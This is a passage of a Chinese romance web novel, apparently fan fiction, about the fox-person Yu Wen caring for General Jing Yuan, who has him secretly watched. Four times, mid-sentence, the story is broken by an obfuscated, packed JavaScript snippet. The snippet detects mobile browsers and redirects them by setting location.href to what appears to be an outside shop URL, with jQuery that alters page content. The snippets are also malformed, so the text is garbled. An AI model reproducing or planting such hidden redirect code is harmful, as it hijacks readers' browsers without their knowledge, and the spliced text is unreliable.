郁闻小心翼翼地捡起落在地上的文件,然后拂去上面的灰尘重新叠放在书桌上,在捡起那本红色封面的报告书时,上面的《对外来狐人部族的处理方案》这几个大字格外显眼。 这本报告书没有用文件袋封装,四周也没有其他人,即使翻开也不会有谁知道,但郁闻只是顿了顿,然后将报告书同其他文件一起放回了桌子上。 整理完文件后,郁闻摸了摸朔雪的头:“好了,我们出去吧,别把景元的东西弄乱了。” 退出景元的房间后,郁闻贴心地带上了门。 今天天气还算不错,郁闻把袖子挽了上去,头发也扎了起来,专心致志地给眼前这只趴在水里的大猫洗澡,而他正在使用的毛发护理剂则是刚刚朔雪叼在嘴里的那一瓶。 郁闻正准备再好好洗一洗朔雪的爪子,结果兜里的手机突然响了一声,他用沾满泡沫水的手拿起手机,差点没让手机滑落到水盆里。 视频软件里,那个名叫椒椒爱吃椒的博主请求添加郁闻成为好友,郁闻毫不犹豫地点击通过,对面那人立马发送了一个可爱的表情包: 椒椒爱吃椒:感谢朋友的打赏,有想看的火锅料理吗?下期可以出教程哦。 转生为大富翁:吃了可以补充能量、精神饱满的那种,可以吗? 椒椒爱吃椒:当然没问题,今天晚上就可以更新! 转生为大富翁:谢谢jpg 回复完消息,郁闻收起了手机,他捧起一团泡沫在手心搓揉了几下,然后揉捏着朔雪身上厚厚的皮毛,为了不打湿前不久景元才替他护理过的尾巴,郁闻将自己的尾巴叼在了口中。 可能是洗浴的时间太长了,趴卧在盆中的朔雪有些按耐不住了,它站起身子,用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123013|195986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力地甩了甩头,洁白的泡沫便飞溅开来,有一些还溅到了郁闻的身上。 “朔雪又不乖了。” 才从工造司回来的景元来到了他们身边,景元捏了捏朔雪的嘴筒子,然后看向了郁闻。 此时的郁闻还有些发愣,他身上的薄衫湿了一大半,雪白的肌肤依稀可见,绵密的泡沫粘在他的脸颊上和鼻尖上,嘴里咬着的尾巴也粘上了一些泡沫。 景元没忍住伸出手擦去郁闻鼻尖上的泡沫,笑道:“麻烦你为朔雪洗澡了,接下来就交给我吧。” “不麻烦不麻烦。”郁闻松开口,让尾巴垂落到身后,“下次把朔雪的护理剂放在我那里吧,我帮朔雪洗澡就好。” 景元看了郁闻一眼:“我的房间是不是很乱?” 郁闻摇了摇头:“一点也不乱,不过朔雪不小心撞到了你的书桌,你的文件全落在了地上,我帮你收拾了一下。” “谢谢。”景元不动声色地观察着郁闻,“里面有几份红色的报告书还挺重要,要是落在外面被其他人看见了就不好了,下次朔雪的护理剂就放你那边吧。” 郁闻乖乖点了点头,他看了眼水盆里的朔雪,又看了看身前的景元,接着便弯起眉眼道:“不过景元你也好像一只大猫,蓬松蓬松的,还带着朔雪同款香味,有点可爱。” 这下换景元愣神了,他眨了眨眼睛,失笑道:“要是被那些死于我刀下的敌人听见你这么评价我,估计死也不会瞑目吧。” 郁闻红透了脸,他蹲下身背对着景元,开始转移话题:“我.......我和你一起给朔雪洗澡吧,反正接下来我也没事可做。” 有了景元的加入,朔雪很快就从半白半灰的朔雪变成了白毛朔雪,再经过烘干机的帮助,朔雪的毛变得又软又蓬松,郁闻揉了揉朔雪的头,这个手感实在是太好了。 郁闻的眼神不由得飘向景元的头发,不知道景元头发的手感会不会和朔雪一样。 见朔雪伸出舌头舔了舔郁闻的脸颊,景元挑眉:“看来朔雪很喜欢你,之前除了我它和谁都不亲近。” “那看来我和朔雪也很有缘分。”郁闻弯起眉眼,眸里满是笑意,“是吧,景元。” 景元打趣着:“看来你现在没有一开始那么怕我了。” 郁闻顿了顿,然后有些不好意思地低下头:“因为一开始并不了解,但相处之后........我觉得景元你是一个非常非常温柔的人,我.........我很........” 景元又凑近了些:“很什么?” 郁闻把脸埋进朔雪的白毛毛里,闷声回答:“没什么,景元你就别问了。” “好好,那我就不问了,朔雪先留在你这里,晚饭的时候我再来。”景元体贴地没再追问,他掩下眼中的思索之色,转身离开了这处不大的院子。 郁闻默默从朔雪身上抬起头,然后伸手揉了揉朔雪柔软的肚皮,唉,要是你的主人和你一样喜欢我就好了。 5. 留下过夜 早上的时候景元偶尔会在院子里练剑,郁闻试过那把剑,很重,他根本挥不动,但景元却轻轻松松地将剑拿了起来,也将剑使得非常轻盈,剑气划过花丛,本就摇摇欲坠的残花立马落了一地。 郁闻坐在凉亭里摊开自己的白纸,他观察着景元的动作和神态,提笔将景元练剑的身影勾勒在了画纸上。 “是在画我吗?”景元把剑收了起来,好奇地看着画卷上的人。 郁闻笑了笑,却只是温声道:“稍微低一下头。” 景元不知道郁闻的意图,但他还是神色自如地低下了头,因为他知道以郁闻的武力即使他露出破绽郁闻也奈何不了他分毫。 然而郁闻只是从自己的怀里掏出了一条素白的手帕,他用手帕擦去景元脸上滚落的汗珠,然后用手轻轻地点了点景元眼下的位置:“画漏了,这里还有一颗泪痣。” 郁闻的手帕上带着绵绵的香气,刚刚被手指点到的地方留下了微微的酥痒,景元咽了咽口水,然后灌下了一口凉茶。 这天气确实是热起来了。 景元舔了舔唇,询问道:“怎么突然想给我画像?” 郁闻停笔,眉头轻蹙,但最终他只是叹了口气:“整日呆在小院子里有些乏闷罢了,不过这个时候外面不太平,我还是呆在这里不要给你添乱的好。” 景元把茶杯放在了桌子上,不知道在想些什么,许久之后他开口道:“已经差不多了。” “什么差不多了?” “.......没什么,我先去处理一下文件。” 郁闻看了眼景元离去的身影,然后笑着将最后那颗泪痣补了上去。 由于最近几日朔雪都赖在了郁闻的院子里,所以郁闻的柜子里逐渐多了肉干、猫条、咪用顺毛剂以及一些逗猫用的玩具。 逗猫玩具是郁闻拜托侍从买的,只不过朔雪对玩具不太感兴趣的样子,所以这些小玩意儿就在柜子深处落灰了。 院子的桃花树下,郁闻躺在竹床上午睡,毛绒绒香喷喷的白狮就趴在郁闻旁边,任由郁闻把它当做靠枕。 郁闻睡觉其实并不算老实,在翻过几次身后,他身上的粉色薄衫已经微微散乱,胸前的肌肤全露在了外面,甚至隐约可见两点红色,他整个人埋在白狮柔软的腹部,和那假寐的白狮相比起来更显得瘦弱了几分。 郁闻已经睡了很久,周围的侍从怕郁闻感冒,想要靠近唤醒郁闻,却都被抬起头呲牙的白狮赶了回去,直到景元过来时白狮才没了动作。 “郁闻,快醒醒,再睡下去恐怕你晚上就要失眠了。” 景元伸手轻轻地推了推郁闻,郁闻迷迷糊糊地坐起身,呆愣了一会儿,便想重新躺回去,景元连忙拉住了郁闻的手,结果却把人带到了自己怀里。 郁闻下意识地环住景元的腰,然后在景元的胸口处蹭了蹭,他抬起头,连头发翘起了几根都没发现,只是带着才睡醒时黏黏糊糊的声音询问:“唔.......怎么了?我还想再睡一会儿......” 怀里的人没骨头似的,景元一时间不知道手该往哪里放,最终他无奈地叹了口气,伸手揉乱郁闻的头发,连带着那对柔软的狐耳也给揉捏了个遍。 这下郁闻倒是清醒了,毕竟狐人的狐耳和尾巴最为敏感,他见自己呆在景元怀中,于是立马退了出去:“抱歉,我睡得太沉了,现在还有些不清醒。” “没关系,既然醒了那就去吃晚饭吧,我让厨房准备了一些罗浮仙舟的特色菜。” 景元刚说了几句话便咳嗽了几声,郁闻担忧地看向景元:“是不是感冒了?怎么还咳嗽起来了。” “无事,可能是有些着凉了。” “还是多注意一些吧,免得到时候严重了。” “好,等吃了饭我就去看看医师。” 两人谈话间就来到了吃饭的客厅,正如景元所说,今天的菜全是罗浮仙舟的特色菜,油爆飞海葵、果木炙烤夏塔恩恐鸟翅根、琼实鸟串........虽然郁闻还是比较想吃火锅,但这些菜看起来也不错的样子。 不过饭才吃了一半,彦卿便走了进来在景元耳边说了些什么,景元放下筷子,带着歉意朝郁闻笑了笑:“抱歉,看来暂时没办法陪你吃饭了,我得先去一趟前厅,有客人来了。” 前厅离吃饭的客厅并不远,只需要拐个弯就可以到,郁闻看着侍从们端着茶从门口经过,于是便上前询问最前头的那个人:“给景元的茶是热茶还是凉茶?” 领头的侍从朝郁闻行了个礼:“夫人,这些都是凉茶,因为最近天气比较热,所以都用的冰镇过的凉茶。” 郁闻接过侍从手里的茶:“我去重新泡一杯热的吧。” 侍从顺从地点了点头:“那我带您去茶房。” 宽广的前厅里,景元正和驭空、符玄商量征召新兵的事,侍从们端着茶和茶点摆在了他们身边的矮桌上,而走在最前面的郁闻则把他泡的热茶放在了景元身边。 驭空和符玄默不作声地对视了一眼,而景元则有些意外地看着郁闻:“你怎么出来送茶了?” 郁闻朝驭空和符玄微微点头,简单地打了个招呼,然后便端着热茶放在了景元手里:“你吃饭前还在咳嗽,怕是染了风寒,所以我就给你泡了杯热茶,晚上让侍从们喊医师再来看看吧。” “劳烦你操心了。” 郁闻温声地道:“你是我的夫君,这是应该的。” 送完茶水郁闻便先行离开了,景元看着手里的这杯热茶,夜晚的凉意似乎都被尽数驱散了,以往除了父母之外还从未有人这样体贴亲昵地叮嘱他,一时间他的思绪都乱了起来。 驭空笑了笑:“这位将军夫人是真的非常温柔啊,下一步你打算怎么做呢,将军大人?” 景元抿了口热茶:“从今晚开始解除对郁闻的软禁。” 符玄起了兴致,她看着景元,喝了口清爽的凉茶:“怎么,心疼你的小狐狸了,虽然不排除郁闻是不知情的,但这可不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123014|195986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是你的风格啊。” “不......”景元放下茶杯,“我是打算先放松他们的警惕,然后再进一步观察,毕竟刚接到了有异动的消息,我不会在这个时候放松警惕。” 这几日彦卿去处理其他事情,景元便派人在暗处观察郁闻,他看着下属盛递上来的记录,手指轻轻地摩挲过文件中郁闻的名字。 而回到了房间的郁闻则按时上线点开了椒椒爱吃椒的主页,果不其然,这个博主准时更新了。 郁闻拿着纸笔仔细地记录着视频里展示出来的食材,不过很多食材他都没听过,长得也十分抽象,这让郁闻不禁怀疑这个火锅真的是正经火锅吗? 不过他看了看最后展示出来的成品,嗯.......似乎还不错?到时候试着做给景元尝一尝吧。 刷完视频郁闻美美地开始泡澡,这里有独立的浴室,而且很大,郁闻之前住在出租屋时完全没有享受过那么大的浴缸,所以过来之后每次泡澡对他来说都是一种享受。 郁闻把自己浸没在热水中,桃子味的沐浴露在他手心里滑溜溜地蹿来蹿去,最后在搓揉之中变成了绵密并且香气扑鼻的泡泡。 这时郁闻的房门却被推开了,听见熟悉的脚步声,郁闻停下动作:“是你吗,景元?” 浴室外的人停住了脚步:“抱歉,看来我来得不是时候。” “应该说来得刚刚好。”郁闻把浴室门打开了一条缝,沐浴露的香味和蒸腾的热气一起涌了出来,争先恐后地扑在了景元身上,郁闻露出半边脸,“可以帮我拿一下挂在椅背上的睡袍吗?” 景元拿起白色的睡袍递给了那双从门里伸出来的手,郁闻把睡袍搭在浴室里的置物架上,拿着毛巾一边擦拭身子一边询问:“是有什么事要找我吗?” 景元看着倒映在浴室门上的那道黑色身影,开口道:“我是想告诉你那些偷渡客被抓住了,之后你可以到处逛一逛,不用整天待在家里了。” “真的吗?那实在是太好了,我想去金人巷、想去星槎海中枢、想去流云渡,想去很多很多地方。” 郁闻匆匆地系好睡袍上的腰带,然后踩着拖鞋来到了景元身边,但他不知道的是那腰带系得形同虚设,胸前那片白皙的肌肤还带着淡淡的粉色,几颗未擦干的水珠从脖颈上滚落下来,最后一路驶向被遮掩住的地方。 偏偏景元比郁闻高了不少,他只需稍稍低头便可以看见大片春光,景元深吸了一口气,然后抬手给郁闻重新系好睡衣腰带:“嗯,之后可以多出去走走,有什么想买的就和我说,等有空了我就陪着你一起逛逛。” “谢谢你景元。” “这都是我应该做的,没必要这么.....生分.......” 郁闻抬手将那些碎发别到耳后,然后缓缓地挤入景元的怀抱,他紧紧地环着景元的腰,身上桃子味的沐浴露有着动人心弦的甜蜜香味,最后,他仰起头,露出温柔的笑意:“景元,今晚要在我的房间里过夜吗?” 6. 生病 向来沉稳冷静的将军大人在郁闻向他发出邀请后逃也似地离开了郁闻的房间。 郁闻面上端着副迷茫难过的模样,但实际上心里乐开了花,本来只是想逗逗景元,没想到他的反应那么大,这反差感简直不要太萌。 接着他又打开系统面板看了一眼,意外的收获,攻略进度居然涨了。 心满意足的郁闻美美睡了一觉,打算起床后好好收拾自己一下然后再去街上逛逛,结果郁闻早上去吃饭时却没看见景元的身影,他眨了眨眼,景元应该不至于因为昨晚的事连他的面都不想见了吧? 略微地思索了一下,郁闻询问一旁的侍从:“景元今天怎么没来吃早饭,是有公务吗?” 侍从回答:“将军大人昨夜里发烧了,现在正在床上休息。” 郁闻擦了擦嘴,看来今天计划好的行程得推迟了。 早饭吃了一半的郁闻来到了厨房,他来得刚刚好,里面的烧火师傅已经熬好了粥,正在往瓷碗里盛,郁闻凑了上去,等那碗杂粮粥盛到碗中时,他便用托盘稳稳地接住滚烫的粥碗,转身朝景元的房间走去。 “吱呀——” 房门被郁闻打开了,景元没有睁开眼,只是吩咐着:“早餐放在桌子上就好,我等一下自己吃。” “还是我端过来吧。” 听见熟悉的声音,景元睁开了眼睛看向房门的位置,在看见端着粥的郁闻时,他连忙道:“放下吧,小心烫到。” 景元挣扎着坐起了身,但因为发烧他的头隐隐地作痛,四肢也发软无力,仅仅是坐起身就让他有些难受。 “别乱动。”郁闻把粥放在了床头的桌子上,然后拿起床上的枕头垫在景元的身后,他见景元身上穿得也单薄,于是把搭在椅背上的外套也披在了景元身上,嘴里还絮叨着,“昨天就叫你看一下医师,你肯定又忙得忘了,最后遭罪的还是你自己。” 郁闻虽然嘴里嘟囔着,但手里的动作却一点也没有停过,他坐在景元的床沿上,端着热粥舀起一勺轻轻地吹去那些飘散的热气,然后递到景元嘴边:“来,小心烫。” 景元凑近将热粥吞入腹中,软糯清淡的热粥和那些关心的话语让人心甜意洽,不论如何,他此时确实比刚刚舒服了许多。 一碗很快就见了底,郁闻端着碗勺看了景元许久,久到景元都忍不住移开了目光:“怎么了?” 郁闻拿起手帕轻轻地擦拭着景元的嘴角,弯起眉眼温声道:“你的嘴角沾到了一粒米,怎么还和小孩子一样?要是让旁人看去了那神策府将军的威猛形象就要破碎了。” 被郁闻打趣的景元有些不好意思地咳了咳,同时他也对这些温柔而亲昵的话语和举动感到有些无所适从。 “对了,既然吃了饭那药也别忘了。”郁闻把一起端过来的汤药送到景元面前,“喝下药早点休息吧。” “这次我自己来吧。”景元接过药碗将里面黑漆漆的药汁一饮而尽,连眉头都没皱一下。 郁闻把空碗收了回来,好奇地询问:“这药不苦吗?” 景元毫不在意地回答:“当然苦,不过之前更苦的都吃过,这也不算什么。” 腹中温饱,药汁入肚,景元很快就昏昏欲睡了起来,郁闻脱下景元身上的外套,把枕头放平,轻声道:“休息一下吧,等醒来你的情况应该会好上不少。” “睡吧。” “我会在这里照顾你.........” 景元迷迷糊糊间听见的是郁闻温柔的话语,他此刻正是处于虚弱的时候,无论想要干些什么都非常轻松,郁闻,你会让我失望吗? 门外,彦卿探头看了过来,见郁闻坐在景元床边,他按捺下心中的紧张问道:“将军大人是睡下了吗?” 郁闻朝彦卿做了个噤声的手势,压低了声音回答:“景元刚刚才喝过药,现在已经睡下了,你去忙吧,这里有我便好。” 彦卿犹豫了一会儿,然后点了点头离开了。 本来一开始都还好好的,可天色渐晚时景元又开始发烧,郁闻急急忙忙地打开门朝门外的侍从吩咐道:“快去请医师,景元又烧起来了。” 侍从们的行动很快,医师很快就被请了过来,随着医师一起过来的还有彦卿和符玄。 房内的烛火被点了起来,医师加大了药的剂量,接着便朝郁闻嘱咐道:“将军大人鲜少生病,但病来如山倒,不可疏忽,我刚刚已经给将军大人扎过针了,药也重新开了几副,等隔天将军醒过来的时候让他喝下就好,记住,一日三餐都要喝。” 郁闻心疼地看着皱着眉头躺在床上的景元,但他此刻能做的事很少,只能拿着手中的手帕替他擦拭去面上渗出的薄汗,他耷拉着耳朵,尾巴也低垂着,粉色的眸里隐隐闪过泪光,眼角处也泛起了红。 符玄将郁闻的神情都看在眼里,她伸手拍了拍郁闻:“好了,别那么担心,景元不会被发烧打倒的。” “抱歉,让你见笑了。”郁闻不好意思地笑了笑,“只是我头一次见景元那么难受,所以也有些..........” 一旁的彦卿则默不作声地看着郁闻,有些苦恼地思索着什么。 为了景元能够好好休息,房间里的人很快就只剩下了郁闻一个,彦卿本来想找侍从留在景元身边照顾的,但郁闻摇了摇头拒绝了:“现在我是景元的妻子,丈夫生了病,我自然要呆在丈夫的身边照顾他,这样.......我也可以放心一些........” “好吧,但是郁闻先生你也要注意身体。” 彦卿退了出去,顺便把门也带上了。 清晨,阳光透过窗户的缝隙漏到了屋内,床上的景元皱了皱眉头,然后缓缓地睁开了眼,紧接着一道熟悉的声音便传了过来: “景元,你醒了?要不要吃些粥,我已经让厨房备好了。” 景元转过头,第一眼看见的便是守在他身边的郁闻,郁闻握着他的手,粉眸里满是欣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123015|195986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜之意,就连尾巴都轻轻地摇晃了起来。 景元坐起了身,等郁闻再凑近些时他才发现郁闻的眼下有着淡淡的乌青。 “你.........你昨夜一直守在这里吗?”景元有些惊讶。 郁闻揉了揉眼睛,笑道:“是的,昨天看着你的烧退下去我才彻底安下了心。” “..........抱歉,麻烦你了.......” “麻烦什么?”郁闻牵起景元的手放在自己的脸侧,然后又轻轻地用自己的脸颊蹭了蹭景元的手心,“妻子照顾丈夫一点也不麻烦。” 手心里传来的是柔软的温热,景元不得不承认刚刚有那么一瞬间他的心跳漏了一拍。 “郁闻,可以帮我去把早饭端过来吗?”景元收回自己的手,然后捏紧手心,“我有些饿了.........” 郁闻听见景元恢复了力气想要吃饭自然很开心,于是他笑道:“好,那你等我一会儿。” 郁闻离开了,景元坐在床上揉了揉眉心,随即又叹了口气,没过多久彦卿便走了进来,景元看向彦卿:“彦卿,你觉得郁闻如何?” 彦卿有些犹豫,但他还是如实回答:“郁闻先生他......很迟钝,但也很温柔,也没有做过什么奇怪的举动.......” “..........早上有没有新的信件传来?” “有的。” 景元接过信件,但他在看完信件的内容后却皱起了眉,彦卿见景元神色不对,于是便询问道:“怎么了吗将军?” 景元将信件重新收到了信封里,叹了口气回答:“下面传来消息,弥璇族内部似乎出现了争执,隐隐有分裂之势,但具体到底是什么情况还不知道,对方在这一点上倒是没露一点风声。” 分裂,这个词让彦卿联想到了一些不好的事,他还想再说些什么,但门外隐隐地响起了脚步声。 郁闻进来时彦卿正在帮景元倒茶,他放下手里的碗,笑道:“这茶壶里的茶已经凉了,我让侍从重新烧一壶吧,景元现在还是尽量少喝凉的比较好。” 彦卿点了点头:“那我去和侍从们说一声吧,你累了一个晚上,现在好好休息一下比较好。” “好好好,那就谢谢彦卿关心我了。”郁闻非常自然地伸手摸了摸彦卿的头,然后在心里暗自感叹,终于摸到彦卿的头了,毛绒绒的,好像一只小猫,下次一定要找机会再摸一回! 鲜少被摸摸头的彦卿顿时红了脸,他往后退了几步,难得露出了一些孩子该有的神态:“不.......不要摸我的头,摸头长不高的........” 景元露出笑容:“倒是很少看见彦卿露出这副模样,不过我觉得彦卿这样还挺可爱。” “将军大人怎么你也?!” 彦卿落荒而逃,郁闻面上则笑意盈盈,门外的阳光落在他的身上,为他镀上了一层柔和的暖色,光是看着就让人忍不住想要亲近。 7. 外出 景元在修养了两日后就没再反复发烧了,但是那些发苦的药汁还是得照常再喝几天,早上吃饭的时候郁闻看向景元:“景元,今天我想出门逛逛,本来想让你陪我一起去,但是你的病还没完全好,所以我打算先一个人四处看看。” 景元顿了顿,然后询问道:“你一个人没问题吗?要不要派几个侍从陪你一起去?” “没事啦,我一个人可以的。”郁闻笑了笑,“到时候顺便带些好吃的回来。” 景元见郁闻一副迫不及待的模样,于是又给郁闻倒了杯热浮羊奶:“慢点吃,不着急,之后时间还长着呢。” 这顿早饭吃完后景元便带着郁闻穿过连廊来到了大门处,守门的侍从朝两人欠了欠身,一左一右拉开了朱红色的大门。 大门打开的那一刻,郁闻听见了街上传来的喧闹声,厚重的门扉外有着步履匆匆的旅客、走街串巷的商贩、嬉戏玩闹的孩童以及许久未曾见过的热闹景象,他竖起狐耳,尾巴也不自觉地轻轻摇晃,他已经太久没见到过这样的场景了。 景元看着身侧满面欢欣的郁闻,心中陡然生出了些许愧疚,他打开手机操作了一番,然后轻轻地拍了拍郁闻的肩:“来的时候碰上了偷渡客的事所以不能出去,好不容易可以出门了但却为了照顾我打乱了行程,这段时间辛苦你了,这些信用点你先用着,不够再和我说。” “又不是旁人,干什么这么生分?”郁闻弯了弯眉眼,然后给了景元一个拥抱,“事分轻重缓急,你的事在我看来比较重要,只是逛街而已,什么时候都可以。” “好了,你出发吧,我在家等你回来。” “知道啦。” 之前许多情感郁闻多多少少都有表演的成分在里面,但此时此刻他雀跃的心情却是实实在在的,古色古香的建筑中夹杂着电影里才有的科幻元素,体型不一的星槎在头顶有序地飞行,亭台楼阁错落有序,每一步都是让人想象不出的风景。 郁闻已经在手机上做过了攻略,所以他的目标非常地明确,此次他的目的地便是——金人巷! 不过此次郁闻出来可不仅仅是为了放松放松,一来他是为了给景元带些东西,二来则是想看看能不能遇到弥璇族人。 因为出嫁当日郁闻明显地感觉到了那两人话里有话,此次弥璇族归来绝不可能像表面那么简单,而弥璇族的族长选中他作为新娘肯定也不会说只是讨好景元那么简单,但他在府里等了许久也没收到任何有用的消息,于是决定出来碰碰运气。 被人暗中当作棋子的感觉并不好受,如果可以郁闻还是想尽量地弄清楚弥璇族到底想做什么,然后再看看能不能借助他们的行动来增加攻略度。 “热浮羊奶,热浮羊奶,新鲜出炉的热浮羊奶!” “貘馍卷、鸣藕糕,好吃不贵!” “..........” 热闹的吆喝声逐渐清晰了起来,郁闻抬头望去,金人巷已经到了。 郁闻走到小吃摊朝对面的老板道:“帮我把这些貘馍卷包起来吧。” “好嘞。”摊主瞅了郁闻几眼,突然露出笑容,“小哥你是头一次来罗浮仙舟吧?” 郁闻顿了顿:“嗯........确实是的,怎么了吗?” 摊主笑意更甚:“哦,那小哥你要不要尝一尝我们罗浮仙舟的特产鸣藕糕?看你是外来游客,又买了我家的食物,鸣藕糕我就送你些好了。” 郁闻有些不好意思地笑了笑:“这......还是不用了吧?” 然而摊主非常热情,动作干脆地用纸袋包了几个才刚刚出炉、热气腾腾的鸣藕糕塞到了郁闻怀里:“没关系没关系,你拿去吃吧。” “好的,那就谢谢老板你了。” 郁闻在摊主满意的眼神中走远了,他不太明白摊主为什么要送他鸣藕糕,不过既然是送的,那不要白不要。 郁闻咬了一口手里的貘馍卷,然后在手机上的智能导航里寻找自己想去的那家小店,还好,这家店就在这附近。 那家店在异常不起眼的角落里,但门口却挤满了人,根据美食攻略里介绍,这家名为皮皮西糖果店的糖果都非常地好吃,有许多游客甚至都是慕名前来,今天刚好又是新品上线的日子,所以人就更多了。 郁闻排了很久的队也没有买上新品,于是只好退而求其次买了黑芝麻酥糖,亏他早上那么早就出门了,没想到还是没买到。 “郁闻?” 听见有人喊他的名字,郁闻转过了身,而出现在他身后的正是当时送他出嫁的狐人侍女。 “怎么,嫁给将军大人后就不认识你玉拂姐姐了?”扎着高马尾、穿着干练的玉拂不动声色地打量了郁闻一番,然后勾起嘴角,“许久没见了,我请你吃顿饭吧,不知道将军夫人愿不愿意?” 郁闻面露欣喜之色,虽然景元和彦卿他们待人极好,可他也想念部族里的族人,于是他迫不及待地点了点头:“当然愿意。” 玉拂选了个茶楼包间,热情地招呼着郁闻,不过从进入这家茶楼起郁闻便发现里面大多数人都是弥璇族的人。 拿着菜单的服务员走到了两人身边,他略过郁闻,直接询问玉拂:“姑娘,想吃些什么?” 玉拂干脆利落地回答:“就你们店里的招牌吧。” “好嘞~” 此时服务员离开了包间,这个包间里就只剩下了玉拂和郁闻两人,郁闻牵起玉拂的手,一副亲昵的模样:“玉拂,你们在罗浮过得还好吗?” 玉拂拍了拍郁闻的手:“我们好着呢,虽然也遇到了一些事,但很快就解决了,不过只要你在将军身边过得好我们就放心了。” 郁闻担忧地看向玉拂:“要是有什么事需要我帮忙一定要告诉我,我会竭尽全力去做。” 玉拂颇为怜爱地收回自己的手:“放心,一定,现在你乖乖地留在将军身边便好。” 包间的门又被打开了,服务员端着菜走了进来,玉拂夹起一块栗子饼送到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123016|195986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郁闻盘中:“尝尝看,这个是店里的招牌,味道还不错。” 郁闻咬了一口,确实,这栗子饼口感细腻,甜而不腻,很好吃,他见玉拂没动筷子,只是看着他,于是便停下了动作:“快些吃吧,不然菜都要冷了。” 玉拂夹起排骨放到自己碗里小口小口地吃起来,神情比一开始要放松了不少,甚至还主动说了许多有关以前在宇宙里流浪的事,等一顿饭吃完,她放下筷子看向郁闻,嘴角噙着笑意:“好了,那之后我就不送了,祝你和将军能够甜甜蜜蜜,直至死亡尽头.........” “多谢。” 郁闻离开茶楼又多走了几段路后才放慢了脚步,他总觉得这个玉拂的表现很奇怪,而且也丝毫没有提到过任何有用的信息,难道他们真的什么都不打算做吗? 唉,算了,这样也好,免得多生事端。 这时郁闻身上的手机突然响了起来,他从口袋里拿出手机,发现是景元发来的消息。 景元:大概什么时候回来,我好让人准备晚饭。 郁闻:买完火锅材料就回去,今晚我下厨吧。 景元:好,我等你回来。 郁闻关上手机,好了,去买火锅材料吧。 虽说是火锅,但椒椒爱吃椒给出的菜谱里面有许多配料都像是药材,比起火锅倒是更像药膳,郁闻不太认识配方上面写出来的配料,所以只好一家一家地询问那些摊贩,等食材全都买齐时一天已然过了大半,是时候该回去了。 门口处,景元正站在门口等候着郁闻,见郁闻手里提了不少东西,他连忙接了过来:“今天玩得开心吗?” 郁闻露出笑容:“开心,我买了好多东西,还买了火锅食材,今晚可以尝尝我的手艺。” 景元提着郁闻带回来的大包小包往院子里走,等那些东西放在了郁闻的房间里,门外的侍从提醒道:“将军,您该喝药了。” 景元接过那碗黑漆漆的药汁,像往常一般一饮而尽,虽然他面上不显,但还是没忍住在心里感叹着药换了方子后比之前还要苦了。 “景元,张嘴。” “怎么了?” 一颗糖果抵在了景元的唇上,郁闻朝景元眨了眨眼睛:“快尝尝。” 景元将那颗糖果卷入嘴中,温热的唇不可避免地触碰到了郁闻微微发凉的指尖,黑芝麻的香气混着奶香味在口腔中散开,原本令人作呕的苦涩被压制了下去,最后只留下了一片甘甜。 景元看向郁闻:“这些糖是你买的?” “是的,我本来想买新品,结果被买光了,所以我只好买了些酥糖。”郁闻将装满糖果的纸袋递给景元,粉眸里盛着温柔的笑意,“虽然你说你不怕这些苦兮兮的药汁,但我还是觉得吃些甜的会更好,之后吃完药就吃颗糖吧,说不定心情也会变得更好呢?” 彩色的糖果堆积在纸袋里,景元又剥开糖纸吃了一颗,但他看着面前笑意盈盈的郁闻,竟然有了一种郁闻会更甜一些的错觉。 8. 初见端倪 那些糖果被景元收到了自己的小柜子里,他平日里很少吃这些东西,但偶尔试一下........也确实还不错。 等有时间了就去买一些回来囤着吧。 而景元离开后,郁闻就带着食材来到了厨房内准备大显身手,穿着粉格子围裙的郁闻卷起衣袖拿起锅铲,头发也扎成了低马尾垂在身后,他认真地跟着视频里的步骤操作,似乎已经看见了火锅大功告成的模样。 一旁的烧火师傅目不转睛地看着郁闻点火倒油,生怕那些飞溅的油把这位才过门没多久的将军夫人给烫到了,郁闻实在有些受不了烧火师傅的眼神,于是便把自己一个人关在了厨房里面。 